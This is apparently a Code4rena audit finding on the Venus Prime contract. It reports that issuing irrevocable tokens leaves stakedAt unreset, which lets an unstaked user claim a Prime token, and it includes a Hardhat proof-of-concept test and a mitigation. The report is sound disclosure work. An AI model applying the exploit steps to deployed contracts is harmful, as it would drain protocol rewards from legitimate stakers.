Venus Prime - sl1's results

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/b11d9ef9db8237678567e66759003138f2368d23/contracts/Tokens/Prime/Prime.sol#L331-L359 https://github.com/code-423n4/2023-09-venus/blob/b11d9ef9db8237678567e66759003138f2368d23/contracts/Tokens/Prime/Prime.sol#L397-L405

Vulnerability details

Impact

One of the core invariants of the Prime contract is that user has to stake at least 1000 XVS for 90 days in order to claim his Prime token. Also even if the user has already claimed his Prime token, he has to maintain his balance above 1000 XVS staked or otherwise his token gets burnt as we can see in the function below.

        uint256 totalStaked = _xvsBalanceOfUser(user);
        bool isAccountEligible = isEligible(totalStaked);

        if (tokens[user].exists && !isAccountEligible) {
            if (tokens[user].isIrrevocable) {
                _accrueInterestAndUpdateScore(user);
            } else {
                _burn(user);
            }

There is an edge case which allows user to have a Prime token even if his staked amount decreases below 1000, even all the way down to 0.

Proof of Concept

The root cause lies in the way irrevocable tokens are minted to users through a VIP (Venus Improvment Proposal).

function issue(bool isIrrevocable, address[] calldata users) external {
        _checkAccessAllowed("issue(bool,address[])");

        if (isIrrevocable) {
            for (uint256 i = 0; i < users.length; ) {
                Token storage userToken = tokens[users[i]];
                if (userToken.exists && !userToken.isIrrevocable) {
                    _upgrade(users[i]);
                } else {
                    _mint(true, users[i]);
                    _initializeMarkets(users[i]);
                }

                unchecked {
                    i++;
                }
            }
        } else {
            for (uint256 i = 0; i < users.length; ) {
                _mint(false, users[i]);
                _initializeMarkets(users[i]);
                delete stakedAt[users[i]];

                unchecked {
                    i++;
                }
            }
        }
    }

When irrevocable token is issued the function goes into the first if statement and then if the user does not have a token, he is minted an irrevocable token. But what this function fails to do is to reset stakedAt mapping as it is done when issuing a revocable token. Now the user is able to withdraw all of his XVS stake from the XVSVault, he calls requestWithdrawal in XVSVault and the xvsUpdated() gets invoked in the Prime.sol.

function xvsUpdated(address user) external {
        uint256 totalStaked = _xvsBalanceOfUser(user);
        bool isAccountEligible = isEligible(totalStaked);

        if (tokens[user].exists && !isAccountEligible) {
            if (tokens[user].isIrrevocable) {
                _accrueInterestAndUpdateScore(user);
            } else {
                _burn(user);
            }

Because user has withdrawn all of his XVS, the first if statement is triggered and because user has an irrevocable token, his token is not burnt, but _accrueInterestAndUpdateScore(user) is called, while stakedAt is still not resetted. As stated by the sponsor team in the discord channel of the contest: "The Venus community could decide to burn an irrevocable token if the user unstaked almost 100% of their XVS". So now because user has withdrawn all or almost all of his stake, the community decides to burn his irrevocable token. But even if his token is burnt, because his stakedAt[user] value was not reset, he can still actually claim a Prime token, because claim() function does not check his stake, but only the time in stakedAt mapping.

function claim() external {
        if (stakedAt[msg.sender] == 0) revert IneligibleToClaim();
        if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime();

        stakedAt[msg.sender] = 0;

        _mint(false, msg.sender);
        _initializeMarkets(msg.sender);
    }

Here is a Proof of Concept in hardhat that shows that this is possible:

diff --git a/Prime.ts.orig b/Prime.ts
index 809c48c..ba6ab86 100644
--- a/Prime.ts.orig
+++ b/Prime.ts
@@ -401,6 +401,38 @@ describe("PrimeScenario Token", () => {
       expect(token.exists).to.be.equal(false);
     });

+    it("it is possible to get prime token even if user has no stake in the protocol", async () => {
+      let user = user1;
+      // User deposits 1000 xvs
+      await xvs.connect(user).approve(xvsVault.address, bigNumber18.mul(1000));
+      await xvsVault.connect(user).deposit(xvs.address, 0, bigNumber18.mul(1000));
+      let amountStaked = (await xvsVault.getUserInfo(xvs.address, 0, user.getAddress())).amount.toString();
+      console.log("Amount of XVS staked by user:", amountStaked);
+      expect(amountStaked).to.be.equal(ethers.utils.parseEther("1000"));
+      // Skip 90 days
+      await mine(90 * 24 * 60 * 60);
+      // Issue the irrevocable prime token to a user
+      await prime.issue(true, [user.getAddress()]);
+      expect((await prime.tokens(user.getAddress())).exists).to.be.equal(true);
+      expect((await prime.tokens(user.getAddress())).isIrrevocable).to.be.equal(true);
+      // User withdraws his stake
+      await xvsVault.connect(user).requestWithdrawal(xvs.address, 0, bigNumber18.mul(1000));
+      let pendingWithdrawal = (
+        await xvsVault.getUserInfo(xvs.address, 0, user.getAddress())
+      ).pendingWithdrawals.toString();
+      // Here calculating the amount staked as 'staked - pendingWithdrawal as it is done in _xvsBalanceOfUser()
+      console.log("Amount of XVS staked after withdrawal:", Number(amountStaked) - Number(pendingWithdrawal));
+      expect(Number(amountStaked) - Number(pendingWithdrawal)).to.be.equal(ethers.utils.parseEther("0"));
+      // Now we burn the irrevocable token
+      await prime.burn(user.getAddress());
+      expect((await prime.tokens(user.getAddress())).exists).to.be.equal(false);
+      expect((await prime.tokens(user.getAddress())).isIrrevocable).to.be.equal(false);
+      // After burning irrevocable token, user can claim revocable token even though he does not have a stake in the protocol
+      await prime.connect(user).claim();
+      expect((await prime.tokens(user.getAddress())).exists).to.be.equal(true);
+      expect((await prime.tokens(user.getAddress())).isIrrevocable).to.be.equal(false);
+    });
+
     it("issue", async () => {
       await prime.issue(true, [user1.getAddress(), user2.getAddress()]);

This behaviour breaks core invariant of the contract, allowing a user to have a Prime token, even though he does not have 1000 XVS staked.

Tools Used

Manual review

Recommended Mitigation Steps

I would recommend resetting the stakedAt mapping when issuing irrevocable tokens. The claim function should not be changed, as it does not check user staked balance, because it is taken care of in xvsUpdated() function. Alternatively reset the stakedAt mappping for a user with an irrevocable token when his balance drops below minimum staked amount.

Assessed type

Invalid Validation